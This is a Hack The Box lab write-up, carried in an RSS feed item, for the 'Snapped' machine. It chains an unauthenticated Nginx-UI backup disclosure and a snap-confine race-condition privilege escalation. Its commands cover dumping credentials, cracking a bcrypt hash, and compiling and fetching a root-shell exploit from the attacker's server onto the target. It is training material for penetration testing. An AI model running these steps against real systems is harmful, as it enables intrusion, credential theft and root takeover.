<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Vall3nSs</title>
    <description>The latest articles on DEV Community by Vall3nSs (@vall3nss).</description>
    <link>https://dev.to/vall3nss</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3895012%2Fda000001-d164-4a63-ad30-f4b249851e6a.jpeg</url>
      <title>DEV Community: Vall3nSs</title>
      <link>https://dev.to/vall3nss</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vall3nss"/>
    <language>en</language>
    <item>
      <title>Hack The Box - Snapped Writeup</title>
      <dc:creator>Vall3nSs</dc:creator>
      <pubDate>Fri, 24 Apr 2026 02:12:21 +0000</pubDate>
      <link>https://dev.to/vall3nss/hack-the-box-snapped-writeup-1id7</link>
      <guid>https://dev.to/vall3nss/hack-the-box-snapped-writeup-1id7</guid>
      <description>&lt;p&gt;&lt;strong&gt;Machine:&lt;/strong&gt; Snapped &lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard &lt;br&gt;
&lt;strong&gt;OS:&lt;/strong&gt; Linux&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Snapped&lt;/strong&gt; is a hard-difficulty Linux machine that chains two recent CVEs to go from&lt;br&gt;
unauthenticated access all the way to full root.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026–27944&lt;/strong&gt; — Nginx-UI unauthenticated backup endpoint that returns its own
decryption key, leaking credentials from the internal database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026–3888&lt;/strong&gt; — A TOCTOU race condition between &lt;code&gt;snap-confine&lt;/code&gt; and
&lt;code&gt;systemd-tmpfiles&lt;/code&gt;, exploited via an AF_UNIX socket trick to hijack the dynamic linker
on a SUID-root binary.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="o"&gt;[&lt;/span&gt;target-ip] &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; scans/nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe1ttpozr5cyol3u3ivm8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe1ttpozr5cyol3u3ivm8.png" alt="Nmap Scan" width="800" height="309"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The scan reveals two open TCP ports: &lt;strong&gt;SSH (22)&lt;/strong&gt; and &lt;strong&gt;HTTP (80)&lt;/strong&gt;. The HTTP server&lt;br&gt;
redirects to &lt;code&gt;http://snapped.htb&lt;/code&gt;, so we add that to our hosts file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[target-ip] snapped.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Initial Web Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9t7gxwkqsfeisudy276v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9t7gxwkqsfeisudy276v.png" alt="Web Page" width="800" height="452"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The main site at &lt;code&gt;snapped.htb&lt;/code&gt; is a static page with no obvious attack surface. Time to&lt;br&gt;
look for virtual hosts.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  Subdomain Discovery
&lt;/h3&gt;

&lt;p&gt;We use &lt;code&gt;ffuf&lt;/code&gt; to brute-force virtual hosts, filtering responses with the same size as&lt;br&gt;
the default "not found" page (154 bytes):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://snapped.htb &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.snapped.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-fs&lt;/span&gt; 154
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flynqwbr0nssx0keu10kw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flynqwbr0nssx0keu10kw.png" alt="Vhost Fuzzing" width="769" height="469"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We find a valid subdomain: &lt;strong&gt;admin&lt;/strong&gt;. Add it to &lt;code&gt;/etc/hosts&lt;/code&gt; and navigate to it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr7pl8gsndz1rugixd79i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr7pl8gsndz1rugixd79i.png" alt="Nginx UI" width="572" height="501"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The subdomain serves a &lt;strong&gt;Nginx-UI&lt;/strong&gt; admin panel — a third-party web interface for&lt;br&gt;
managing Nginx configurations.&lt;/p&gt;


&lt;h2&gt;
  
  
  Exploitation — CVE-2026–27944 (Nginx-UI Unauthenticated Backup Disclosure)
&lt;/h2&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  What is the vulnerability?
&lt;/h3&gt;

&lt;p&gt;Nginx-UI exposes a &lt;code&gt;/api/backup&lt;/code&gt; endpoint that creates and serves a full archive of all&lt;br&gt;
Nginx and Nginx-UI configuration files — including its internal SQLite database, SSL&lt;br&gt;
private keys, and session tokens. The critical flaw is two-fold:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The endpoint requires &lt;strong&gt;no authentication&lt;/strong&gt; — any external user can call it directly.&lt;/li&gt;
&lt;li&gt;The backup archive is AES-encrypted, but the &lt;strong&gt;decryption key is returned in the
&lt;code&gt;X-Backup-Security&lt;/code&gt; response header&lt;/strong&gt; of the very same request.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This means an attacker can download the backup and immediately decrypt it in a single&lt;br&gt;
unauthenticated HTTP request. There is no need to brute-force or guess anything at this&lt;br&gt;
stage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m23ymmhucl9d5zpcy5v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m23ymmhucl9d5zpcy5v.png" alt="Nginx CVE" width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  Setting up the exploit
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano cve.py
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv venv
&lt;span class="nb"&gt;source &lt;/span&gt;venv/bin/activate
pip &lt;span class="nb"&gt;install &lt;/span&gt;pycryptodome
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We need &lt;code&gt;pycryptodome&lt;/code&gt; because the backup uses AES encryption, and the script needs&lt;br&gt;
this library to decrypt the archive using the key extracted from the response header.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feuyxqgiuv14njrkqpb04.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feuyxqgiuv14njrkqpb04.png" alt="Setting up CVE" width="800" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  Running the exploit
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 cve.py &lt;span class="nt"&gt;--target&lt;/span&gt; http://admin.snapped.htb &lt;span class="nt"&gt;--out&lt;/span&gt; backup.bin &lt;span class="nt"&gt;--decrypt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fci1dl9r2qdw62vy7z2jk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fci1dl9r2qdw62vy7z2jk.png" alt="Running Exploit" width="739" height="431"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Under the hood, the script does the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Sends a &lt;code&gt;GET /api/backup&lt;/code&gt; request with no credentials.&lt;/li&gt;
&lt;li&gt;Reads the &lt;code&gt;X-Backup-Security&lt;/code&gt; header from the response to obtain the AES key.&lt;/li&gt;
&lt;li&gt;Decrypts the backup archive using that key.&lt;/li&gt;
&lt;li&gt;Extracts the contents to &lt;code&gt;backup_extracted/&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  Initial Access
&lt;/h2&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  Finding credentials in the backup
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffx8ko8e6y57oo468kbmc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffx8ko8e6y57oo468kbmc.png" alt="Finding SQLite Database" width="529" height="119"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After exploring &lt;code&gt;backup_extracted/&lt;/code&gt;, we find a SQLite database file — this is Nginx-UI's&lt;br&gt;
internal user database. We can inspect it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlite3 database.db
.tables
SELECT &lt;span class="k"&gt;*&lt;/span&gt; FROM &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkrcpnwcm75xlkj9rp4i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkrcpnwcm75xlkj9rp4i.png" alt="SQLite Dump" width="800" height="289"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We find a user &lt;strong&gt;jonathan&lt;/strong&gt; with a bcrypt password hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Cracking the hash
&lt;/h3&gt;

&lt;p&gt;Save this to &lt;code&gt;hash.txt&lt;/code&gt; and crack it offline with Hashcat. Bcrypt is slow by design&lt;br&gt;
(mode &lt;code&gt;-m 3200&lt;/code&gt;), but weak passwords are still crackable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 3200 hash.txt /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5n4m4zsc8arejlg4icoc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5n4m4zsc8arejlg4icoc.png" alt="Running Hashcat" width="800" height="372"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;![Hashcat Results(&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2e4bb97jgutf2bncf7yp.png" rel="noopener noreferrer"&gt;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2e4bb97jgutf2bncf7yp.png&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The password cracks successfully: &lt;strong&gt;linkinpark&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  SSH as jonathan
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh jonathan@snapped.htb
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/jonathan/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdtq75ckstxsmvnnbm6jv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdtq75ckstxsmvnnbm6jv.png" alt="SSH Access" width="794" height="463"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjc6vwkp7w3iq51xxrl6d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjc6vwkp7w3iq51xxrl6d.png" alt="User Flag" width="729" height="68"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;User flag captured.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege Escalation — CVE-2026–3888 (snap-confine TOCTOU LPE)
&lt;/h2&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Discovering snap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdvv0ztutexe94rkr8ik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdvv0ztutexe94rkr8ik.png" alt="Snap Discovery" width="800" height="80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see &lt;code&gt;snapd&lt;/code&gt; running on the system. Let's check its version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;snap version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1dx0ebq1h45j64q8dt8f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1dx0ebq1h45j64q8dt8f.png" alt="Snap Version" width="508" height="98"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The version is &lt;strong&gt;2.63.1&lt;/strong&gt;, which is vulnerable to CVE-2026–3888.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  What is the vulnerability?
&lt;/h3&gt;

&lt;p&gt;This is a &lt;strong&gt;TOCTOU (Time-of-Check to Time-of-Use)&lt;/strong&gt; race condition. Here's what normally&lt;br&gt;
happens when a snap application starts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;snap-confine&lt;/code&gt; (a SUID-root binary that sets up the snap sandbox) creates a private
working directory under &lt;code&gt;/tmp/snap.*/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;systemd-tmpfiles&lt;/code&gt; periodically cleans up stale temporary directories — including
those left behind by snap.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;snap-confine&lt;/code&gt; then performs a bind-mount sequence, using that &lt;code&gt;/tmp&lt;/code&gt; directory to
set up the application's shared library environment.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The race condition arises &lt;strong&gt;between steps 2 and 3&lt;/strong&gt;: after &lt;code&gt;systemd-tmpfiles&lt;/code&gt; deletes&lt;br&gt;
the stale directory, but before &lt;code&gt;snap-confine&lt;/code&gt; re-creates and uses it, an attacker can&lt;br&gt;
recreate the directory with attacker-controlled content. If &lt;code&gt;snap-confine&lt;/code&gt; then&lt;br&gt;
bind-mounts this poisoned directory into the snap sandbox, it will use the attacker's&lt;br&gt;
fake shared libraries.&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;snap-confine&lt;/code&gt; is &lt;strong&gt;SUID root&lt;/strong&gt;, hijacking its dynamic linker means we can&lt;br&gt;
execute arbitrary code as root.&lt;/p&gt;

&lt;p&gt;Winning the race consistently is the hard part. The exploit uses an &lt;strong&gt;AF_UNIX socket&lt;br&gt;
trick&lt;/strong&gt;: by applying backpressure on a socket that &lt;code&gt;snap-confine&lt;/code&gt; is trying to write to,&lt;br&gt;
we can pause its execution at precisely the right point in the bind-mount sequence —&lt;br&gt;
giving us a reliable window to swap in our malicious directory before it proceeds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcxs3sihd6m44a1ttth8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcxs3sihd6m44a1ttth8q.png" alt="Snap CVE" width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  Setting up the exploit
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

&lt;span class="c"&gt;# Compile the main exploit binary (statically linked so it runs without deps)&lt;/span&gt;
gcc &lt;span class="nt"&gt;-O2&lt;/span&gt; &lt;span class="nt"&gt;-static&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; exploit exploit_suid.c

&lt;span class="c"&gt;# Compile the malicious shared library that will be injected&lt;/span&gt;
gcc &lt;span class="nt"&gt;-nostdlib&lt;/span&gt; &lt;span class="nt"&gt;-static&lt;/span&gt; &lt;span class="nt"&gt;-Wl&lt;/span&gt;,--entry&lt;span class="o"&gt;=&lt;/span&gt;_start &lt;span class="nt"&gt;-o&lt;/span&gt; librootshell.so librootshell_suid.c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The &lt;code&gt;librootshell.so&lt;/code&gt; is a fake shared library. When &lt;code&gt;snap-confine&lt;/code&gt; (running as root)&lt;br&gt;
loads it via the hijacked dynamic linker, it executes our payload — spawning a root shell.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F88ifsg7xxx90ktzlwv9r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F88ifsg7xxx90ktzlwv9r.png" alt="Snap Exploit - Setup" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h3&gt;
  
  
  Transferring to the target
&lt;/h3&gt;

&lt;p&gt;On your machine, start a simple HTTP server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the target machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://&amp;lt;your-ip&amp;gt;/exploit
wget http://&amp;lt;your-ip&amp;gt;/librootshell.so
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvh0pq9ktiewm2eypjmz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvh0pq9ktiewm2eypjmz.png" alt="Transfering Files" width="791" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Getting root
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./exploit librootshell.so
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq1sxrepsiopu92e89ik0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq1sxrepsiopu92e89ik0.png" alt="Running Snap Exploit" width="800" height="380"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The exploit may take a few minutes — it is actively racing against &lt;code&gt;systemd-tmpfiles&lt;/code&gt;&lt;br&gt;
and &lt;code&gt;snap-confine&lt;/code&gt;. Once it wins the race and the shared library is loaded, you'll get&lt;br&gt;
a root shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffh9f52liqr0zhhdj4ver.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffh9f52liqr0zhhdj4ver.png" alt="Root Flag" width="756" height="347"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;Root flag captured.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Snapped is an excellent machine for understanding how real-world CVEs work in&lt;br&gt;
combination. A few key takeaways:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026–27944&lt;/strong&gt; is a reminder that authenticated endpoints must be enforced&lt;br&gt;
server-side — not assumed. Returning a decryption key in the same response as the&lt;br&gt;
encrypted data completely undermines any notion of confidentiality.&lt;/p&gt;

